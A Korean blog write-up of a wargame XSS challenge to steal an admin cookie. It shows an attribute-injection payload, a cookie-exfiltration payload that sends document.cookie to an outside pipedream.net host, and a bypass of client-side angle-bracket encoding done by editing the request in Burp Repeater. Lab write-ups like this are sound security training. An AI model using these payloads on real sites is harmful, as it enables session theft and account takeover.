<목표: 관리자의 쿠키를 탈취하라>
자 페이지에 들어와 줍니다.
차근차근 마이페이지 부터 살펴보겠습니다.
<마이페이지>
URL 에 변수값을 바꿔도 페이지에 출력되는 값이 바뀌지 않습니다.
user 값은 페이지에 출력되는 것과는 무관한 변수인가 봅니다.
그러면 게시글 게시판으로 가보겠습니다.
<게시글 게시판>
일단 알림창이 뜨는지 확인하기 위해 게시글 게시판 검색창에 james 라는 의미없는 값을 넣어주었습니다.
흠... 입력한 값이 출력이 되질 않습니다..
다른 XSS 포인트를 찾아봐야할것 같으니 게시글 작성페이지를 살펴보겠습니다.
<게시글 작성 페이지>
게시글 작성 페이지 | 특이사항 |
흠.. 이전과는 다르게 게시글 작성페이지에 < > 를 HTML Entity 로 바꾸는 스크립트 코드가 삽입되어 있습니다.
아마 저희가 작성을 하면 페이지의 글자중 < > 같은 꺽쇠를 바꿔서 태그삽입을 불가능하게 하려는것 같습니다..
그러면 한번 작성을 해보겠습니다..
특수문자 사용가능 여부체크를 위하여 < " ' > 를 제목과 내용에 넣어줄것입니다.
<특수문자 사용가능 여부 체크>
입력값 : < " ' > | 응답 |
역시나 응답을 살펴보니 < > 가 > <로 바뀌어 있습니다.
태그를 작성하지 못하도록 내놓은 것입니다... 그러면 태그를 안넣고 할수있는 부분이 있는지 찾아보겠습니다..
※바뀐내용은 HTML Entity 라는것인데 관련된 내용은 'xss 대응방안' 게시물에 써놓았습니다.
https://jamesbexter.tistory.com/entry/XSS-%EA%B3%B5%EA%B2%A9-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88
<취약포인트 발견: 게시글 수정 페이지>
게시글을 수정하는 페이지에서 XSS 에 쓸만한 부분을 발견했습니다.
빨간박스안에 value 값에 저희가 title 에 입력한 값이 들어가는데 저기에 " onfocus="alert(1)" autofocus=" 를 입력하면 POC 코드를 실행할 수 있다는 생각이 들었습니다.
POC 코드가 작동하는 것을 볼수 있습니다!!
그러면 여기다가 cookie 탈취 코드를 삽입해주겠습니다.
입력값 : " onfocus="alert(1)" autofocus=" | 게시글 수정 페이지 접근시 |
Repeater 를 통한 제목란에 쿠키탈취 코드 삽입 |
쿠키탈취 스크린샷 |
무사히 쿠키가 탈취된 것을 확인하실수 있습니다!
이제 이 게시글 수정페이지를 관리자 컴퓨터로 접속해주겠습니다.
????? 관리자 컴퓨터로 접속을 하자 관리자가 중간에 알아차렸다는 메세지가 뜹니다..
일정 수 이상의 alert가 의심스럽다?...
..
..
..
"아 혹시 onfocus 에다가 autofocus 하면 쿠키가 빠른속도로 무한정 보내지니깐 그 요청값이 너무많아서 의심스럽다는 말인가?.... 그러면 하나만 쏙 하고 보내주면 되겠지?" 라고 생각하고 쿠키를 하나만 보내 줘보도록 하겠습니다.
수정한 값 : " onfocus="if(!window.w) {var data=document.cookie; var i=new Image(); i.src='https://encxlimxsq6z.x.pipedream.net?cookie='+data; window.w=1;}" autofocus="
이후 접속해보니 쿠키를 한번만 보내는것이 확인되었다!
자 이제 다시 관리자 컴퓨터로 접속해보자!
아... 아직도 똑같이 뜬다... 도대체 왜일까??
내가 직접 다른 컴퓨터로 접속을 해봐야겠다.
<다른컴퓨터로 접속한 화면>
어? 다른 컴퓨터로 접속하니 alert 창이 두번 연속으로 뜨면서 접속이 안된다.
이렇게 alert 가 연속으로 뜨니깐 일정수 이상의 alert 는 의심스럽습니다. 라는 말을 했나봅니다..
생각해보면 관리자라도 타인의 게시물을 수정하는 페이지를 들락날락 거리는건 말이안되고..
내 게시물 수정페이지를 타인이 접속한다는 것도 불가능하다는 생각이 든다..
그러면 게시물 수정 페이지 말고 다른 곳에 취약점이 있다는 생각을 해봐야한다..
분명 내가 앞에서 무언가 놓친것이 있을것이다...
.......
이 사이트의 특이사항은 초반에 작성할때 < > 같은 꺽쇠를 HTML Entity 로 변환하는 스크립트가 있었다..
그 부분을 다시 한번 봐보도록 하자.
<게시글 작성 페이지>
문제의 그 코드다..
생각해보면 이 스크립트는 게시물을 작성하는 페이지에서 실행될 것이다.
그니깐 내가 작성하고 게시글 저장을 요청하기 전에 이 < > 를 바꾸는 작업이 진행된다는 것이다...
따로 js파일을 거치는것이 아닌 이 페이지 자체에서 진행된다는 뜻이다..
더군다나 코드도 자세히 보니 바꾸는 값이 writeFrm.create_body.value 라고 되어있다.
title 고 body 가 있었는데 body 만 바꿔준다고?
뭔가 이상하다 title 은 왜 안바꿔주지?
내가 요청했던 부분을 다시 한번 봐보자.
<게시물 작성후 저장을 요구하는 요청>
어?.. body 부분이 진짜 요청을 할때 이미 바뀌어있다.
요청은 우리가 Repeater 로 바꿔서 요청할 수 있으니 저 부분에 다시 꺽쇠를 넣으면 꺽쇠가 사용이 가능하지 않을까?
내용을 바꾸고 다시 요청을 보냈습니다..
요청을 바꾼후 확인한 결과 |
와... 꺽쇠사용이 가능해졌다..
특수문자가 가능해졌으니 이제 아까 작성했던 쿠키탈취 코드를 넣어주겠습니다.
쿠키탈취 코드를 넣은 게시물 요청 | |
|
무사히 쿠키가 보내지는 모습이 보여집니다.
이제 관리자 컴퓨터로 이 게시물에 접근을 해주면???
관리자 쿠키값 (flag) 을 탈취하는것에 성공하였다!!!
이번에 풀면서 느낀것이 있다.
내 문제점이 두가지 있는데...
<문제점>
1. XSS 찾는데 응답에만 집중하고 요청은 주의깊게 살펴보지 않았다.
2. 한가지 방법에 매몰되어 다른 방법이 있는지 살펴보는게 너무 늦었다.
-만약에 내가 create_body 만 바뀐다는것을 눈치챘다면?
-만약에 내가 작성페이지에 있는 Script 코드를 보고 수상함을 느꼇다면?
- 만약에 내가 글 수정페이지가 다른이가 접근할 수 없는 페이지라는것을 좀더 빨리 알았다면?..
이런 점들을 어떻게 고칠까?
내 생각엔 집중력과 주의력의 부재였던것같다.
글 수정페이지에서 어떻게든 성공시켜보겠다고 한가지 방법만 고수하면서 끙끙 싸매며 집중력이 흩어졌고
빨리 풀고싶어서 대충대충 보면서 넘긴 Burp Suite 내용에서 주의력 문제를 알 수 있었다.
<다음부터 취약점을 살펴볼때는 반드시 지킬것>
1. 한가지 방법이 '2시간이상' 안되면 미련없이 놔두고 다른 구멍이 있는지 찾아보기!
2. Burp Suite 내용을 차근차근 하나하나 잘근잘근 씹어먹는다는 생각으로 주의깊게 보기!
(오히려 그것이 더 빠른 길 일수도 있다)
긴 글 읽어주셔서 감사합니다!
'워게임 문제풀이 > Segfault' 카테고리의 다른 글
<Segfault> 워게임 문제풀이 [Steal Info] (0) | 2024.07.02 |
---|---|
<Segfault> 워게임 문제풀이 [XSS Challenge] (1) | 2024.07.02 |
<Segfault> 워게임 문제풀이 [XSS 4] (0) | 2024.07.01 |
<Segfault> 워게임 문제풀이 [XSS 3] (0) | 2024.07.01 |
<Segfault> 워게임 문제풀이 [XSS 2] (0) | 2024.06.30 |